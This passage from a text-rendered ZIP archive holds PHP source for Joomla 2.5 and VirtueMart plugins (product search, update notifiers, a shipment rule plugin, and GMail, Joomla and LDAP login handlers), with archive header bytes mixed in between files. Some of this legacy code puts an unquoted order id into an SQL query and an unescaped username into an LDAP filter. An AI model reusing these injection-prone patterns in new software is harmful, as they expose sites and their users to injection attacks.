($ordering) { case 'alpha': $order = 'a.product_name ASC'; break; case 'category': $order = 'b.category_name ASC, a.product_name ASC'; break; case 'popular': $order = 'a.product_name ASC'; break; case 'newest': $order = 'p.created_on DESC'; break; case 'oldest': $order = 'p.created_on ASC'; break; default: $order = 'a.product_name DESC'; } $text = $db->Quote ('%' . $db->getEscaped ($text, TRUE) . '%', FALSE); $query = "SELECT DISTINCT CONCAT( a.product_name,' (',p.product_sku,')' ) AS title, a.virtuemart_product_id , b.virtuemart_category_id , a.product_s_desc AS text, b.category_name as section, p.created_on as created, '2' AS browsernav FROM `#__virtuemart_products_" . VMLANG . "` AS a JOIN `#__virtuemart_products` as p using (`virtuemart_product_id`) LEFT JOIN `#__virtuemart_product_categories` AS xref ON xref.virtuemart_product_id = a.virtuemart_product_id LEFT JOIN `#__virtuemart_categories_" . VMLANG . "` AS b ON b.virtuemart_category_id = xref.virtuemart_category_id" . ' WHERE ' . $where . ' and p.published=1 and b.virtuemart_category_id>0 ' . ' ORDER BY ' . $order; $db->setQuery ($query, 0, $limit); $rows = $db->loadObjectList (); if ($rows) { foreach ($rows as $key => $row) { $rows[$key]->href = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $row->virtuemart_product_id . '&virtuemart_category_id=' . $row->virtuemart_category_id; // $rows[$key]->text = $text; } } return $rows; } PK]y>\x(bb search/virtuemart/virtuemart.xmlnuW+A plg_search_virtuemart January 09 2013 The VirtueMart Development Team http://www.virtuemart.net Copyright (C) 2004-2014 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.18a Allows Searching of VirtueMart Component en-GB.plg_search_virtuemart.ini fr-FR.plg_search_virtuemart.ini virtuemart.php index.html
PK]y>\)search/virtuemart/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsearch/virtuemart/index.htmlnuW+A PK]y>\Vquickicon/index.htmlnuW+A PK]y>\Vquickicon/eosnotify/index.htmlnuW+A PK]y>\)quickicon/eosnotify/.htaccessnuW+A Order allow,deny Deny from all PK]y>\ ;!quickicon/eosnotify/eosnotify.xmlnuW+A PLG_EOSNOTIFY Joomla! Project October 2014 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 End of Support Notifier eosnotify.php index.html PK]y>\88!quickicon/eosnotify/eosnotify.phpnuW+AloadLanguage(); } /** * This method is called when the Quick Icons module is constructing its set * of icons. You can return an array which defines a single icon and it will * be rendered right after the stock Quick Icons. * * @param $context The calling context * * @return array A list of icon definition associative arrays, consisting of the * keys link, image, text and access. * * @since 2.5.28 */ public function onGetIcons($context) { if (!JFactory::getApplication()->isAdmin() || version_compare(JVERSION, '3.0', '>=')) { return; } $text = JText::_('PLG_EOSNOTIFY_SUPPORT_ENDING'); if (JFactory::getDate() >= '2015-01-01') { $text = JText::_('PLG_EOSNOTIFY_SUPPORT_ENDED'); } if (JAdministratorHelper::findOption() == 'com_cpanel') { JFactory::getApplication()->enqueueMessage(JText::sprintf('PLG_EOSNOTIFY_CLICK_FOR_INFORMATION_WITH_LINK', $text), 'error'); } } } PK]y>\)quickicon/.htaccessnuW+A Order allow,deny Deny from all PK]y>\-{{'quickicon/joomlaupdate/joomlaupdate.xmlnuW+A plg_quickicon_joomlaupdate Joomla! Project August 2011 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION joomlaupdate.php index.html en-GB.plg_quickicon_joomlaupdate.ini en-GB.plg_quickicon_joomlaupdate.sys.ini
PK]y>\ve6 'quickicon/joomlaupdate/joomlaupdate.phpnuW+AloadLanguage(); } /** * This method is called when the Quick Icons module is constructing its set * of icons. You can return an array which defines a single icon and it will * be rendered right after the stock Quick Icons. * * @param $context The calling context * * @return array A list of icon definition associative arrays, consisting of the * keys link, image, text and access. * * @since 2.5 */ public function onGetIcons($context) { if ($context != $this->params->get('context', 'mod_quickicon') || !JFactory::getUser()->authorise('core.manage', 'com_installer')) { return; } $cur_template = JFactory::getApplication()->getTemplate(); $ajax_url = JURI::base().'index.php?option=com_installer&view=update&task=update.ajax'; $script = "var plg_quickicon_joomlaupdate_ajax_url = '$ajax_url';\n"; $script .= 'var plg_quickicon_jupdatecheck_jversion = "'.JVERSION.'";'."\n"; $script .= 'var plg_quickicon_joomlaupdate_text = {"UPTODATE" : "'. JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPTODATE', true).'", "UPDATEFOUND": "'. JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND', true).'", "ERROR": "'. JText::_('PLG_QUICKICON_JOOMLAUPDATE_ERROR', true)."\"};\n"; $script .= 'var plg_quickicon_joomlaupdate_img = {"UPTODATE" : "'. JURI::base(true) .'/templates/'. $cur_template .'/images/header/icon-48-jupdate-uptodate.png'.'", "ERROR": "'. JURI::base(true) .'/templates/'. $cur_template .'/images/header/icon-48-deny.png'.'", "UPDATEFOUND": "'. JURI::base(true) .'/templates/'. $cur_template .'/images/header/icon-48-jupdate-updatefound.png'."\"};\n"; $document = JFactory::getDocument(); $document->addScriptDeclaration($script); $document->addScript(JURI::base().'../media/plg_quickicon_joomlaupdate/jupdatecheck.js'); return array(array( 'link' => 'index.php?option=com_joomlaupdate', 'image' => 'header/icon-48-download.png', 'text' => JText::_('PLG_QUICKICON_JOOMLAUPDATE_CHECKING'), 'id' => 'plg_quickicon_joomlaupdate' )); } } PK]y>\V!quickicon/joomlaupdate/index.htmlnuW+A PK]y>\) quickicon/joomlaupdate/.htaccessnuW+A Order allow,deny Deny from all PK]y>\ }t-quickicon/extensionupdate/extensionupdate.phpnuW+AloadLanguage(); } /** * Returns an icon definition for an icon which looks for extensions updates * via AJAX and displays a notification when such updates are found. * * @param $context The calling context * * @return array A list of icon definition associative arrays, consisting of the * keys link, image, text and access. * * @since 2.5 */ public function onGetIcons($context) { if ($context != $this->params->get('context', 'mod_quickicon') || !JFactory::getUser()->authorise('core.manage', 'com_installer')) { return; } $cur_template = JFactory::getApplication()->getTemplate(); $ajax_url = JURI::base().'index.php?option=com_installer&view=update&task=update.ajax'; $script = "var plg_quickicon_extensionupdate_ajax_url = '$ajax_url';\n"; $script .= 'var plg_quickicon_extensionupdate_text = {"UPTODATE" : "'. JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE', true).'", "UPDATEFOUND": "'. JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND', true).'", "ERROR": "'. JText::_('PLG_QUICKICON_EXTENSIONUPDATE_ERROR', true)."\"};\n"; $document = JFactory::getDocument(); $document->addScriptDeclaration($script); $document->addScript(JURI::base().'../media/plg_quickicon_extensionupdate/extensionupdatecheck.js'); return array(array( 'link' => 'index.php?option=com_installer&view=update', 'image' => 'header/icon-48-extension.png', 'text' => JText::_('PLG_QUICKICON_EXTENSIONUPDATE_CHECKING'), 'id' => 'plg_quickicon_extensionupdate' )); } } PK]y>\)#quickicon/extensionupdate/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Ʊ0-quickicon/extensionupdate/extensionupdate.xmlnuW+A plg_quickicon_extensionupdate Joomla! Project August 2011 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION extensionupdate.php index.html en-GB.plg_quickicon_extensionupdate.ini en-GB.plg_quickicon_extensionupdate.sys.ini
PK]y>\V$quickicon/extensionupdate/index.htmlnuW+A PK]y>\)vmshipment/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)%vmshipment/weight_countries/.htaccessnuW+A Order allow,deny Deny from all PK]y>\bFF0vmshipment/weight_countries/weight_countries.phpnuW+A_loggable = TRUE; $this->_tablepkey = 'id'; $this->_tableId = 'id'; $this->tableFields = array_keys ($this->getTableSQLFields ()); $varsToPush = $this->getVarsToPush (); $this->setConfigParameterable ($this->_configTableFieldName, $varsToPush); } /** * Create the table for this plugin if it does not yet exist. * * @author Valérie Isaksen */ public function getVmPluginCreateTableSQL () { return $this->createTableSQL ('Shipment Weight Countries Table'); } /** * @return array */ function getTableSQLFields () { $SQLfields = array( 'id' => 'int(1) UNSIGNED NOT NULL AUTO_INCREMENT', 'virtuemart_order_id' => 'int(11) UNSIGNED', 'order_number' => 'char(32)', 'virtuemart_shipmentmethod_id' => 'mediumint(1) UNSIGNED', 'shipment_name' => 'varchar(5000)', 'order_weight' => 'decimal(10,4)', 'shipment_weight_unit' => 'char(3) DEFAULT \'KG\'', 'shipment_cost' => 'decimal(10,2)', 'shipment_package_fee' => 'decimal(10,2)', 'tax_id' => 'smallint(1)' ); return $SQLfields; } /** * This method is fired when showing the order details in the frontend. * It displays the shipment-specific data. * * @param integer $virtuemart_order_id The order ID * @param integer $virtuemart_shipmentmethod_id The selected shipment method id * @param string $shipment_name Shipment Name * @return mixed Null for shipments that aren't active, text (HTML) otherwise * @author Valérie Isaksen * @author Max Milbers */ public function plgVmOnShowOrderFEShipment ($virtuemart_order_id, $virtuemart_shipmentmethod_id, &$shipment_name) { $this->onShowOrderFE ($virtuemart_order_id, $virtuemart_shipmentmethod_id, $shipment_name); } /** * This event is fired after the order has been stored; it gets the shipment method- * specific data. * * @param int $order_id The order_id being processed * @param object $cart the cart * @param array $order The actual order saved in the DB * @return mixed Null when this method was not selected, otherwise true * @author Valerie Isaksen */ function plgVmConfirmedOrder (VirtueMartCart $cart, $order) { if (!($method = $this->getVmPluginMethod ($order['details']['BT']->virtuemart_shipmentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement ($method->shipment_element)) { return FALSE; } $values['virtuemart_order_id'] = $order['details']['BT']->virtuemart_order_id; $values['order_number'] = $order['details']['BT']->order_number; $values['virtuemart_shipmentmethod_id'] = $order['details']['BT']->virtuemart_shipmentmethod_id; $values['shipment_name'] = $this->renderPluginName ($method); $values['order_weight'] = $this->getOrderWeight ($cart, $method->weight_unit); $values['shipment_weight_unit'] = $method->weight_unit; $values['shipment_cost'] = $method->cost; $values['shipment_package_fee'] = $method->package_fee; $values['tax_id'] = $method->tax_id; $this->storePSPluginInternalData ($values); return TRUE; } /** * This method is fired when showing the order details in the backend. * It displays the shipment-specific data. * NOTE, this plugin should NOT be used to display form fields, since it's called outside * a form! Use plgVmOnUpdateOrderBE() instead! * * @param integer $virtuemart_order_id The order ID * @param integer $virtuemart_shipmentmethod_id The order shipment method ID * @param object $_shipInfo Object with the properties 'shipment' and 'name' * @return mixed Null for shipments that aren't active, text (HTML) otherwise * @author Valerie Isaksen */ public function plgVmOnShowOrderBEShipment ($virtuemart_order_id, $virtuemart_shipmentmethod_id) { if (!($this->selectedThisByMethodId ($virtuemart_shipmentmethod_id))) { return NULL; } $html = $this->getOrderShipmentHtml ($virtuemart_order_id); return $html; } /** * @param $virtuemart_order_id * @return string */ function getOrderShipmentHtml ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); if (!($shipinfo = $db->loadObject ())) { vmWarn (500, $q . " " . $db->getErrorMsg ()); return ''; } if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); $tax = ShopFunctions::getTaxByID ($shipinfo->tax_id); $taxDisplay = is_array ($tax) ? $tax['calc_value'] . ' ' . $tax['calc_value_mathop'] : $shipinfo->tax_id; $taxDisplay = ($taxDisplay == -1) ? JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NONE') : $taxDisplay; $html = '' . "\n"; $html .= $this->getHtmlHeaderBE (); $html .= $this->getHtmlRowBE ('WEIGHT_COUNTRIES_SHIPPING_NAME', $shipinfo->shipment_name); $html .= $this->getHtmlRowBE ('WEIGHT_COUNTRIES_WEIGHT', $shipinfo->order_weight . ' ' . ShopFunctions::renderWeightUnit ($shipinfo->shipment_weight_unit)); $html .= $this->getHtmlRowBE ('WEIGHT_COUNTRIES_COST', $currency->priceDisplay ($shipinfo->shipment_cost)); $html .= $this->getHtmlRowBE ('WEIGHT_COUNTRIES_PACKAGE_FEE', $currency->priceDisplay ($shipinfo->shipment_package_fee)); $html .= $this->getHtmlRowBE ('WEIGHT_COUNTRIES_TAX', $taxDisplay); $html .= '
' . "\n"; return $html; } /** * @param VirtueMartCart $cart * @param $method * @param $cart_prices * @return int */ function getCosts (VirtueMartCart $cart, $method, $cart_prices) { if ($method->free_shipment && $cart_prices['salesPrice'] >= $method->free_shipment) { return 0; } else { return $method->cost + $method->package_fee; } } /** * @param \VirtueMartCart $cart * @param int $method * @param array $cart_prices * @return bool */ protected function checkConditions ($cart, $method, $cart_prices) { $this->convert ($method); //vmTrace('checkConditions'); $orderWeight = $this->getOrderWeight ($cart, $method->weight_unit); $address = (($cart->ST == 0) ? $cart->BT : $cart->ST); $type = (($cart->ST == 0) ? 'BT' : 'ST'); $countries = array(); if (!empty($method->countries)) { if (!is_array ($method->countries)) { $countries[0] = $method->countries; } else { $countries = $method->countries; } } // probably did not gave his BT:ST address if (!is_array ($address)) { // there are some address dependant conditions, redirect then /* if ($method->zip_start or $method->zip_stop or empty($countries)) { $mainframe = JFactory::getApplication (); $redirectMsg = JText::_ ('VMSHIPMENT_WEIGHT_COUNTRIES_ADDRESS_FIRST'); //vmWarn($redirectMsg); $mainframe->redirect (JRoute::_ ('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT'), $redirectMsg); } */ vmdebug('checkConditions $address is not an array, set zip and country id = 0'); $address = array(); $address['zip'] = 0; $address['virtuemart_country_id'] = 0; } $weight_cond = $this->testRange($orderWeight,$method,'weight_start','weight_stop','weight'); $nbproducts_cond = $this->_nbproductsCond ($cart, $method); if(isset($cart_prices['salesPrice'])){ $orderamount_cond = $this->testRange($cart_prices['salesPrice'],$method,'orderamount_start','orderamount_stop','order amount'); } else { $orderamount_cond = FALSE; } $userFieldsModel =VmModel::getModel('Userfields'); if ($userFieldsModel->fieldPublished('zip', $type)){ if (!isset($address['zip'])) { $address['zip'] = ''; } $zip_cond = $this->testRange($address['zip'],$method,'zip_start','zip_stop','zip'); } else { $zip_cond = true; } if ($userFieldsModel->fieldPublished('virtuemart_country_id', $type)){ if (!isset($address['virtuemart_country_id'])) { $address['virtuemart_country_id'] = 0; } if (in_array ($address['virtuemart_country_id'], $countries) || count ($countries) == 0) { //vmdebug('checkConditions '.$method->shipment_name.' fit ',$weight_cond,(int)$zip_cond,$nbproducts_cond,$orderamount_cond); vmdebug('shipmentmethod '.$method->shipment_name.' = TRUE for variable virtuemart_country_id = '.$address['virtuemart_country_id'].', Reason: Countries in rule '.implode($countries,', ').' or none set'); $country_cond = true; } else{ vmdebug('shipmentmethod '.$method->shipment_name.' = FALSE for variable virtuemart_country_id = '.$address['virtuemart_country_id'].', Reason: Country '.implode($countries,', ').' does not fit'); $country_cond = false; } } else { vmdebug('shipmentmethod '.$method->shipment_name.' = TRUE for variable virtuemart_country_id, Reason: no boundary conditions set'); $country_cond = true; } $allconditions = (int) $weight_cond + (int)$zip_cond + (int)$nbproducts_cond + (int)$orderamount_cond + (int)$country_cond; if($allconditions === 5){ return TRUE; } else { vmdebug('checkConditions '.$method->name.' does not fit',(int)$nbproducts_cond,(int)$zip_cond); return FALSE; } return FALSE; } /** * @param $method */ function convert (&$method) { //$method->weight_start = (float) $method->weight_start; //$method->weight_stop = (float) $method->weight_stop; $method->orderamount_start = (float)str_replace(',','.',$method->orderamount_start); $method->orderamount_stop = (float)str_replace(',','.',$method->orderamount_stop); $method->zip_start = (int)$method->zip_start; $method->zip_stop = (int)$method->zip_stop; $method->nbproducts_start = (int)$method->nbproducts_start; $method->nbproducts_stop = (int)$method->nbproducts_stop; $method->free_shipment = (float)str_replace(',','.',$method->free_shipment); } /** * @param $cart * @param $method * @return bool */ private function _nbproductsCond ($cart, $method) { if (empty($method->nbproducts_start) and empty($method->nbproducts_stop)) { //vmdebug('_nbproductsCond',$method); return true; } $nbproducts = 0; foreach ($cart->products as $product) { $nbproducts += $product->quantity; } if ($nbproducts) { $nbproducts_cond = $this->testRange($nbproducts,$method,'nbproducts_start','nbproducts_stop','products quantity'); } else { $nbproducts_cond = false; } return $nbproducts_cond; } private function testRange($value, $method, $floor, $ceiling,$name){ $cond = true; if(!empty($method->$floor) and !empty($method->$ceiling)){ $cond = (($value >= $method->$floor AND $value <= $method->$ceiling)); if(!$cond){ $result = 'FALSE'; $reason = 'is NOT within Range of the condition from '.$method->$floor.' to '.$method->$ceiling; } else { $result = 'TRUE'; $reason = 'is within Range of the condition from '.$method->$floor.' to '.$method->$ceiling; } } else if(!empty($method->$floor)){ $cond = ($value >= $method->$floor); if(!$cond){ $result = 'FALSE'; $reason = 'is not at least '.$method->$floor; } else { $result = 'TRUE'; $reason = 'is over min limit '.$method->$floor; } } else if(!empty($method->$ceiling)){ $cond = ($value <= $method->$ceiling); if(!$cond){ $result = 'FALSE'; $reason = 'is over '.$method->$ceiling; } else { $result = 'TRUE'; $reason = 'is lower than the set '.$method->$ceiling; } } else { $result = 'TRUE'; $reason = 'no boundary conditions set'; } vmdebug('shipmentmethod '.$method->shipment_name.' = '.$result.' for variable '.$name.' = '.$value.' Reason: '.$reason); return $cond; } /** * Create the table for this plugin if it does not yet exist. * This functions checks if the called plugin is active one. * When yes it is calling the standard method to create the tables * * @author Valérie Isaksen * */ function plgVmOnStoreInstallShipmentPluginTable ($jplugin_id) { return $this->onStoreInstallPluginTable ($jplugin_id); } /** * @param VirtueMartCart $cart * @return null */ public function plgVmOnSelectCheckShipment (VirtueMartCart &$cart) { return $this->OnSelectCheck ($cart); } /** * plgVmDisplayListFE * This event is fired to display the pluginmethods in the cart (edit shipment/payment) for example * * @param object $cart Cart object * @param integer $selected ID of the method selected * @return boolean True on success, false on failures, null when this plugin was not selected. * On errors, JError::raiseWarning (or JError::raiseError) must be used to set a message. * * @author Valerie Isaksen * @author Max Milbers */ public function plgVmDisplayListFEShipment (VirtueMartCart $cart, $selected = 0, &$htmlIn) { return $this->displayListFE ($cart, $selected, $htmlIn); } /** * @param VirtueMartCart $cart * @param array $cart_prices * @param $cart_prices_name * @return bool|null */ public function plgVmOnSelectedCalculatePriceShipment (VirtueMartCart $cart, array &$cart_prices, &$cart_prices_name) { return $this->onSelectedCalculatePrice ($cart, $cart_prices, $cart_prices_name); } /** * plgVmOnCheckAutomaticSelected * Checks how many plugins are available. If only one, the user will not have the choice. Enter edit_xxx page * The plugin must check first if it is the correct type * * @author Valerie Isaksen * @param VirtueMartCart cart: the cart object * @return null if no plugin was found, 0 if more then one plugin was found, virtuemart_xxx_id if only one plugin is found * */ function plgVmOnCheckAutomaticSelectedShipment (VirtueMartCart $cart, array $cart_prices, &$shipCounter) { if ($shipCounter > 1) { return 0; } return $this->onCheckAutomaticSelected ($cart, $cart_prices, $shipCounter); } /** * This method is fired when showing when priting an Order * It displays the the payment method-specific data. * * @param integer $_virtuemart_order_id The order ID * @param integer $method_id method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Valerie Isaksen */ function plgVmonShowOrderPrint ($order_number, $method_id) { return $this->onShowOrderPrint ($order_number, $method_id); } function plgVmDeclarePluginParamsShipment ($name, $id, &$data) { return $this->declarePluginParams ('shipment', $name, $id, $data); } /** * @author Max Milbers * @param $data * @param $table * @return bool */ function plgVmSetOnTablePluginShipment(&$data,&$table){ $name = $data['shipment_element']; $id = $data['shipment_jplugin_id']; if (!empty($this->_psType) and !$this->selectedThis ($this->_psType, $name, $id)) { return FALSE; } else { $toConvert = array('weight_start','weight_stop','orderamount_start','orderamount_stop'); foreach($toConvert as $field){ if(!empty($data[$field])){ $data[$field] = str_replace(array(',',' '),array('.',''),$data[$field]); } else { unset($data[$field]); } } $data['nbproducts_start'] = (int) $data['nbproducts_start']; $data['nbproducts_stop'] = (int) $data['nbproducts_stop']; //I dont see a reason for it /*$toConvert = array('zip_start','zip_stop','nbproducts_start' , 'nbproducts_stop'); foreach($toConvert as $field){ if(!empty($data[$field])){ $data[$field] = str_replace( ' ','',$data[$field]); } else { unset($data[$field]); } if (preg_match ("/[^0-9]/", $data[$field])) { vmWarn( JText::sprintf('VMSHIPMENT_WEIGHT_COUNTRIES_NUMERIC', JText::_('VMSHIPMENT_WEIGHT_COUNTRIES_'.$field) ) ); } }*/ //Reasonable tests: if(!empty($data['zip_start']) and !empty($data['zip_stop']) and (int)$data['zip_start']>=(int)$data['zip_stop']){ vmWarn('VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_CONDITION_WRONG'); } if(!empty($data['weight_start']) and !empty($data['weight_stop']) and (float)$data['weight_start']>=(float)$data['weight_stop']){ vmWarn('VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_CONDITION_WRONG'); } if(!empty($data['orderamount_start']) and !empty($data['orderamount_stop']) and (float)$data['orderamount_start']>=(float)$data['orderamount_stop']){ vmWarn('VMSHIPMENT_WEIGHT_COUNTRIES_AMOUNT_CONDITION_WRONG'); } if(!empty($data['nbproducts_start']) and !empty($data['nbproducts_stop']) and (float)$data['nbproducts_start']>=(float)$data['nbproducts_stop']){ vmWarn('VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_CONDITION_WRONG'); } return $this->setOnTablePluginParams ($name, $id, $table); } } } // No closing tag PK]y>\b0vmshipment/weight_countries/weight_countries.xmlnuW+A VMSHIPMENT_WEIGHT_COUNTRIES January 10 2014 The VirtueMart Development Team http://www.virtuemart.net Copyright (C) 2004-2014 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN_DESC en-GB.plg_vmshipment_weight_countries.ini weight_countries.php weight_countries PK]y>\&vmshipment/weight_countries/index.htmlnuW+APK]y>\Vvmshipment/index.htmlnuW+A PK]y>\Vauthentication/gmail/index.htmlnuW+A PK]y>\)authentication/gmail/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Jauthentication/gmail/gmail.phpnuW+AloadLanguage(); // No backend authentication if (JFactory::getApplication()->isAdmin() && !$this->params->get('backendLogin', 0)) { return; } $success = 0; // Check if we have curl or not if (function_exists('curl_init')) { // Check if we have a username and password if (strlen($credentials['username']) && strlen($credentials['password'])) { $blacklist = explode(',', $this->params->get('user_blacklist', '')); // Check if the username isn't blacklisted if (!in_array($credentials['username'], $blacklist)) { $suffix = $this->params->get('suffix', ''); $applysuffix = $this->params->get('applysuffix', 0); $offset = strpos($credentials['username'], '@'); // Check if we want to do suffix stuff, typically for Google Apps for Your Domain if ($suffix && $applysuffix) { if ($applysuffix == 1 && $offset === false) { // Apply suffix if missing $credentials['username'] .= '@' . $suffix; } elseif ($applysuffix == 2) { // Always use suffix if ($offset) { // If we already have an @, get rid of it and replace it $credentials['username'] = substr($credentials['username'], 0, $offset); } $credentials['username'] .= '@' . $suffix; } } $curl = curl_init('https://mail.google.com/mail/feed/atom'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, $this->params->get('verifypeer', 1)); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_USERPWD, $credentials['username'] . ':' . $credentials['password']); curl_exec($curl); $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); switch ($code) { case 200: $message = JText::_('JGLOBAL_AUTH_ACCESS_GRANTED'); $success = 1; break; case 401: $message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED'); break; default: $message = JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED'); break; } } else { // The username is black listed $message = JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'); } } else { $message = JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'); } } else { $message = JText::_('JGLOBAL_AUTH_CURL_NOT_INSTALLED'); } $response->type = 'GMail'; if ($success) { if (strpos($credentials['username'], '@') === false) { if ($suffix) { // If there is a suffix then we want to apply it $email = $credentials['username'] . '@' . $suffix; } else { // If there isn't a suffix just use the default gmail one $email = $credentials['username'] . '@gmail.com'; } } else { // The username looks like an email address (probably is) so use that $email = $credentials['username']; } // Extra security checks with existing local accounts $db = JFactory::getDbo(); $localUsernameChecks = array(strstr($email, '@', true), $email); $query = $db->getQuery(true) ->select('id, activation, username, email, block') ->from('#__users') ->where('username IN(' . implode(',', array_map(array($db, 'quote'), $localUsernameChecks)) . ')' . ' OR email = ' . $db->quote($email) ); $db->setQuery($query); if ($localUsers = $db->loadObjectList()) { foreach ($localUsers as $localUser) { // Local user exists with same username but different email address if ($email != $localUser->email) { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('PLG_GMAIL_ERROR_LOCAL_USERNAME_CONFLICT')); return; } else { // Existing user disabled locally if ($localUser->block || !empty($localUser->activation)) { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED'); return; } // We will always keep the local username for existing accounts $credentials['username'] = $localUser->username; break; } } } elseif (JFactory::getApplication()->isAdmin()) // We wont' allow backend access without local account { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JERROR_LOGIN_DENIED'); return; } $response->status = JAuthentication::STATUS_SUCCESS; $response->error_message = ''; $response->email = $email; // Reset the username to what we ended up using $response->username = $credentials['username']; $response->fullname = $credentials['username']; } else { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', $message); } } } PK]y>\3$authentication/gmail/gmail.xmlnuW+A plg_authentication_gmail Joomla! Project February 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_GMAIL_XML_DESCRIPTION gmail.php index.html en-GB.plg_authentication_gmail.ini en-GB.plg_authentication_gmail.sys.ini
PK]y>\|b_VV authentication/joomla/joomla.xmlnuW+A plg_authentication_joomla Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_AUTH_JOOMLA_XML_DESCRIPTION joomla.php index.html en-GB.plg_authentication_joomla.ini en-GB.plg_authentication_joomla.sys.ini PK]y>\{Z authentication/joomla/joomla.phpnuW+Atype = 'Joomla'; // Joomla does not like blank passwords if (empty($credentials['password'])) { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED'); return false; } // Initialise variables. $conditions = ''; // Get a database object $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id, password'); $query->from('#__users'); $query->where('username=' . $db->quote($credentials['username'])); $db->setQuery($query); $result = $db->loadObject(); if ($result) { $match = JUserHelper::verifyPassword($credentials['password'], $result->password, $result->id); if ($match === true) { $user = JUser::getInstance($result->id); // Bring this in line with the rest of the system $response->email = $user->email; $response->fullname = $user->name; if (JFactory::getApplication()->isAdmin()) { $response->language = $user->getParam('admin_language'); } else { $response->language = $user->getParam('language'); } $response->status = JAuthentication::STATUS_SUCCESS; $response->error_message = ''; } else { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS'); } } else { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_NO_USER'); } } } PK]y>\V authentication/joomla/index.htmlnuW+A PK]y>\)authentication/joomla/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)authentication/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vauthentication/ldap/index.htmlnuW+A PK]y>\)authentication/ldap/.htaccessnuW+A Order allow,deny Deny from all PK]y>\* authentication/ldap/ldap.xmlnuW+A plg_authentication_ldap Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_LDAP_XML_DESCRIPTION ldap.php index.html en-GB.plg_authentication_ldap.ini en-GB.plg_authentication_ldap.sys.ini
PK]y>\'authentication/ldap/ldap.phpnuW+Atype = 'LDAP'; // Strip null bytes from the password $credentials['password'] = str_replace(chr(0), '', $credentials['password']); // LDAP does not like Blank passwords (tries to Anon Bind which is bad) if (empty($credentials['password'])) { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_PASS_BLANK'); return false; } // load plugin params info $ldap_email = $this->params->get('ldap_email'); $ldap_fullname = $this->params->get('ldap_fullname'); $ldap_uid = $this->params->get('ldap_uid'); $auth_method = $this->params->get('auth_method'); jimport('joomla.client.ldap'); $ldap = new JLDAP($this->params); if (!$ldap->connect()) { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_NO_CONNECT'); return; } switch($auth_method) { case 'search': { // Bind using Connect Username/password // Force anon bind to mitigate misconfiguration like [#7119] if (strlen($this->params->get('username'))) { $bindtest = $ldap->bind(); } else { $bindtest = $ldap->anonymous_bind(); } if ($bindtest) { // Search for users DN $binddata = $ldap->simple_search(str_replace("[search]", $credentials['username'], $this->params->get('search_string'))); if (isset($binddata[0]) && isset($binddata[0]['dn'])) { // Verify Users Credentials $success 